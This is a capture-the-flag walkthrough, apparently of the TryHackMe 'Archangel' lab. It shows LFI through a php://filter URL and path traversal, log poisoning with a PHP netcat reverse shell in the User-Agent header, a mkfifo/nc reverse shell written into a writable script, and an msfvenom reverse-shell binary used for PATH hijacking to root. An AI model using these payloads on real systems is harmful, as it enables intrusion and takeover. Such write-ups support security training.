> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/archangel.md).

# Archangel

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX5TRvzJ8hrsHtmlc%2F-MbrX80KTbrXtv_a2yzp%2Fimage.png?alt=media\&token=dd755811-672b-46da-92b0-77f8d82414aa)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.104.47
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsAAFMexH1EeUPukA2%2Fimage.png?alt=media\&token=e4c8d31f-c870-4583-88f3-13b898aaa7c6)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.104.47
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsADs8OwUgA7E2NjJ9%2Fimage.png?alt=media\&token=e6dfa8cb-46fb-4493-8887-e597ba5a9fa5)

## Enumeration

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsB1sNl6_zwscPQUWh%2Fimage.png?alt=media\&token=d215173f-53c0-4297-bad0-17b76412fef3)

Looking at the page, we see a domain , lets add this to our `/etc/hosts` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBGiPfbKhTUqKWcKw%2Fimage.png?alt=media\&token=a7f33740-50ac-424a-8447-0904f3be355b)

Now lets go to the webpage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBNMS99hQOR-DGc5i%2Fimage.png?alt=media\&token=82d13bcc-259a-44fe-b158-9303bbaa0a82)

We have the first flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBRbP15yH3N_OK_Qn%2Fimage.png?alt=media\&token=aae2f8c8-a2ca-4c26-98c9-f5902bbfde1f)

Lets look for a `robots.txt` file as we usually find pages that are important.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBeBIonPl-zOkBQZJ%2Fimage.png?alt=media\&token=8ba64b41-fd06-4408-8753-990d6ef3fe55)

And we found one, lets visit this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBkPo2kgmPIbxiqTX%2Fimage.png?alt=media\&token=aead9457-a153-4202-87c7-9553fd4bc2c3)

The page has a button, lets press it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBrloQspSUp8ZGOQc%2Fimage.png?alt=media\&token=37c65c8d-9860-4402-a6cd-fc47dea9d7fc)

It takes us to a different page. Looking at the URL , the view parameter is navigating through the directories, lets try to use some LFI commands to find vulnerabilities. I was searching on google when I found this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsCNHGTMx-7AjiDSAO%2Fimage.png?alt=media\&token=39740adb-b4a5-437a-9077-0af6ad8a9af2)

## Exploitation

They say that we can use this command to bypass the filter and get a LFI vulnerability, lets test it out.

```
http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index
```

Lets change this command to our page and php file.

```
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
```

When we replace the current URL with this one, we get this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsCwngPr2mBF5mRdx0%2Fimage.png?alt=media\&token=dd58eecb-4ecd-4633-959d-418375c5184d)

Its a `base64` encoded string. When we decode it, we get the message earlier.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDGZkPkhTqzx5Rr_b%2Fimage.png?alt=media\&token=2cc71a27-edef-4338-8776-d016dd0e08c9)

Now lets try to read other pages like `test.php`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDdjJfcejjFqUnx60%2Fimage.png?alt=media\&token=013bc05b-906b-4466-b583-dbc2096a1439)

We get another base64 encoded string, lets decode it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDpBMEzvcrojp6ILb%2Fimage.png?alt=media\&token=8911b31c-530a-4344-9bf9-563cb790cee9)

We have the second flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDygrjZNnRhwU3o-O%2Fimage.png?alt=media\&token=41a8f4c9-f38b-4e9f-b9c5-8289a1ae1073)

Lets now look at the code closely

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsEhT5ezmcaKuvcy7f%2Fimage.png?alt=media\&token=a3e21b43-0b9e-4427-92f8-34f1eabb9794)

In line 17 we can see the conditions. The first one is that the parameter should not contain the substring `../../` and the second one is that the parameter must contain the string `/var/www/html/development_testing`. So for the first conditions we can use `../../../` .

We know that this is running on Apache web server so there should be a access.log  file, lets check if we can access it.

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsOQspbYXjQIpA4_yf%2Fimage.png?alt=media\&token=469e8c29-657f-4561-ad4a-7fcc9e3c7c8c)

Now we can try log poisoning to get Remote Code Execution (RCE): We have to send this reverse shell in the request. 

```
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f');?>
```

Make sure to set up a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsRYuSZhf5j4wNTtHC%2Fimage.png?alt=media\&token=a012c26f-e7d0-4584-8b06-45d99a539505)

First we have to intercept the request and pass this code in the user-agent parameter&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsRtSOfM7CZhy5z-kd%2Fimage.png?alt=media\&token=3d5bbeef-978b-4367-904d-7954c1f06004)

And now if we send the request we get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsS-ZtkWgicnpVdGId%2Fimage.png?alt=media\&token=9bf31ed0-dec7-439f-8ac5-4b33bc5b9c7f)

Now lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsSH7wesPGkdMCxN-f%2Fimage.png?alt=media\&token=85ae9348-a393-4e42-98a4-822da55be5ae)

We can read the user.txt file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsW0RXffyKMycOjfQW%2Fimage.png?alt=media\&token=69b2f769-4113-43be-8385-56ffc856d853)

## Privilege Escalation

In the `home/myfiles` directory of archangel you see a `passwordbackup` file, you can go check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsWFSqUSy8sPy4UAfU%2Fimage.png?alt=media\&token=f39a918b-14b5-42bd-b667-55926ca19a2a)

```
https://www.youtube.com/watch?v=dQw4w9WgXcQ
```

We have another directory which might be interesting called secret, lets try to change directories into it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsWpVfHJlQWCfGkTvm%2Fimage.png?alt=media\&token=13a6008b-0d2e-4f30-8f46-ee2ffb946bb5)

And we are not allowed. We need to be the user archangel to access this. Lets look at other files that are owned by archangel.

```
find / -user archangel -type f 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsXfsJV4PjYXFNUTwO%2Fimage.png?alt=media\&token=bb7657f8-2ba3-440b-be4b-87f6a9e96178)

We find these, the first one looks interesting, so lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsXvTcP1G7-YfnfguS%2Fimage.png?alt=media\&token=197a1c59-3817-4224-a4b1-0b62256beb66)

Its a bash script,  lets look at the permissions to see if we can write to it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsYfuACcEtLXMEHSKQ%2Fimage.png?alt=media\&token=2a6a40ab-a274-479b-99f8-6f67051f66c6)

Looks like we can so lets echo a reverse shell into the file and execute to get a reverse shell.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Also make sure to start a netcat reverse shell listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsYvTngCdbJId_BM2G%2Fimage.png?alt=media\&token=c85c16fd-750b-4541-a3a0-e1bfd8762220)

Now lets echo the reverse shell into the file and execute the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZHPfnovw_EfjE4eb%2Fimage.png?alt=media\&token=309b9447-87e0-48ad-b01e-9209d9388b59)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZQ0bzcL6cRF2o7f2%2Fimage.png?alt=media\&token=78b51d23-5113-47ff-8d79-d78586860600)

We are archangel now. Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZdmYyKwNKguNKy3O%2Fimage.png?alt=media\&token=14caf477-538b-4f41-a034-e8761e8863f7)

Lets go into the secret directory&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZo0wxeV04wKUIdM2%2Fimage.png?alt=media\&token=4e5ae7ca-c446-43a3-bc1c-7e5dc0365149)

We can read the `user2.txt` file, lets read the other file called `backup`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbs_3d0F4gUtQP7mHnx%2Fimage.png?alt=media\&token=d5b53593-545a-412b-8275-e82b2495c47f)

Looks like we can't the output we can read, lets see what type of file it is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbs_FfWN4WEyzGWQZNh%2Fimage.png?alt=media\&token=8f0151e4-40ec-4636-abfe-f84d3dec59af)

Its a `LSD shared object`. Lets use the strings command to get more information&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbsa19ClktTAwkKl8U4%2Fimage.png?alt=media\&token=0f3823d6-bd04-4073-9586-ad4a9503b40f)

This command is interesting,  the `cp` command is run without the full path , which means that this is exploitable,  lets create `msfvenom` payload called cp and adjust the `PATH` variable and when executed we should get a reverse shell.

```
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o cp LHOST=10.13.8.64 LPORT=1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsagiN-qsz2AtYkNC3%2Fimage.png?alt=media\&token=79e6bef6-3661-424f-80bb-59ab996ccc80)

Now we have to transfer the file so lets start a http server.

```
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsayyLO0uZUP8HPTKd%2Fimage.png?alt=media\&token=6ac2dc23-0a03-4db8-a2b9-55e398397c51)

Now use this command on the victim machine to download the file, make sure you are in the secret directory.

```
wget http://10.13.8.64/cp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwM-2zH4y5SubdOXKn%2Fimage.png?alt=media\&token=9092d81d-7018-4d92-8e51-9cd3b3e07709)

Now lets modify the `PATH` variable.

```
echo $PATH
export PATH=/home/archangel/secret:$PATH
echo $PATH
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwLgqOEOScuwH9CzFA%2Fimage.png?alt=media\&token=89a732bb-fbb5-4093-a129-0c7a2fa4910f)

Now start a netcat listener and make the cp file executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMDYRGwrwWnTxw8UO%2Fimage.png?alt=media\&token=88546274-c3d9-4925-a4a7-0dc9b811d73e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMJSXiOu1vBKi8pvc%2Fimage.png?alt=media\&token=d86dac88-3ad7-4f15-b4a2-36a28d4d76d3)

Now run the backup file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMTnjmbq54ylpKyQJ%2Fimage.png?alt=media\&token=edb04e08-8159-40c1-bf05-6101bb345988)

And you should get a reverse shell as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMYUpnc2p75iImsMt%2Fimage.png?alt=media\&token=0ba77a70-f6bc-42c2-9c61-b239c96abc59)